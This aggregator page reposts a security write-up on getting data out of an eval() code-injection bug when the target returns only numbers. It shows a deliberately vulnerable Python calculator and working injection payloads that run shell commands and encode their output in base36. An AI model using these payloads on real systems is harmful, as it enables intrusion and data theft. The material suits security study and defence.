Security News

Cybersecurity news aggregator

🔓
MEDIUM Vulnerabilities Reddit r/netsec

How to exfiltrate data using only numeric outputs

  • What: Technique to exfiltrate data using numeric outputs from code injection
  • Impact: Potential for data leakage in restricted environments
Read Full Article →

exfiltration using numeric-only outputs after identifying a code-injection vulnerability, we always want to look around inside the compromised system. most of the time, we can access the output of our injections in a relatively straight-forward manner - it is either reflected directly in the response or we can fetch it using out-of-band channels like http or dns. now let’s consider a restricted setting: our target does not reflect the output it handles the errors perfectly any external traffic is blocked we can’t use timing it only returns valid numeric values. this scenario is not entirely far-fetched. systems which perform numeric calculations or parse user-defined formulas might evaluate inputs in an unsafe way and return the results if they are well-formed decimal numbers. consider the following simple calculator in python: import sys res = eval(sys.argv[1]) try: print(int(res)) except: print('error: invalid number') the above code is vulnerable to code injection, as it passes user input directly into the eval() function without validating it first. attacking this code is quite easy, but getting the output of our injected code is not. $ python3 calculator.py '__import__("os").popen("whoami").read().strip()' error: invalid number we can successfully exploit this vulnerability to execute shellcode, but in our scenario it does not gain us anything if we can’t see what it returns. base conversion to rescue to circumvent this restriction, we can use alternative number encodings to get our outputs. pretty much all programming languages support base conversion into arbitrary bases up to base 36 out of the box. this particular encoding is very helpful, as it consists of all alphanumeric characters ( [a-z0-9] ). the encoding is case insensitive, so we don’t have to worry about conversion. $ python3 calculator.py 'int(__import__("os").popen("whoami").read().strip(),36)' 24596002259 the above code takes the result of our command call whoami and treats it as a base36 encoded integer. using the int(…,36) function we can decode it and return it in the valid, decimal notation. (24596002259).toString(36) turning it back into an alphanumeric string is easy and can be done directly in the browser console using the above javascript code. no tan rapido this approach works for simple alphanumeric outputs, but we will run into difficulties when we try running commands which yield other characters. the base conversion functions will fail if there are any non-alphanumeric characters in the command output. $ python3 calculator.py 'int(__import__("os").popen("uname -nr").read().strip(),36)' Traceback (most recent call last): File "calculator.py", line 3, in <module> res = eval(sys.argv[1]) ^^^^^^^^^^^^^^^^^ File "<string>", line 1, in <module> ValueError: invalid literal for int() with base 36: 'server 6.1.0-41-amd64' we can fix this by pre-processing the output before we place it inside the int() function. since the eval() function only accepts a single python expression, we must get creative. i found that the most elegant approach to sanitize our outputs is to use translations. this construct allows for substituting a charset by an other charset. >>> "server 6.1.0-41-amd64".translate(str.maketrans("",""," .-")) 'server61041amd64' in our case, rather than substituting the problematic characters, we can simply remove them. sure, that way we lose some information, however this does not pose a problem in most cases. the output can still be clearly understood even without whitespace and dots. output.translate(str.maketrans('','',''.join(chr(i) for i in range(256) if not chr(i).isalnum())) if we don’t know which invalid characters may be present in the output, we can extend the translation to include all non-alphanumeric characters. for the above example we also can use the string library to get all non-alphanumeric characters, but i find this variant more elegant. putting all together we get: $ python3 calculator.py 'int(__import__("os").popen("uname -a").read().strip().translate(str.maketrans("","","".join(chr(i) for i in range(256) if not chr(i).isalnum()))),36)' 6765310492546531541966212226421991996381531202388266678439060114867194849142641076081629858154849963319353222729 now try to decode the above number in the browser console using the javascript code i provided before. when does it end? if you tried decoding the numeric payload using javascript you noticed that it doesn’t work. > (67...29).toString(36) 'linuxservds0000000000000000000000000000000000000000000000000000000000000' the reason for that is the integer size limit in javascript. i found that python is an outlier when it comes to allowed integer sizes - it allows for pretty much arbitrarily big numbers. most other languages cap either at 32 or 64 bits. >>> int('9'*4301) Traceback (most recent call last): File "<stdin>", line 1, in <module> ValueError: Exceeds the limit (4300 digits) for integer string conversion: value has 4301 digits; use sys.set_int_max_str_digits()...

Share this article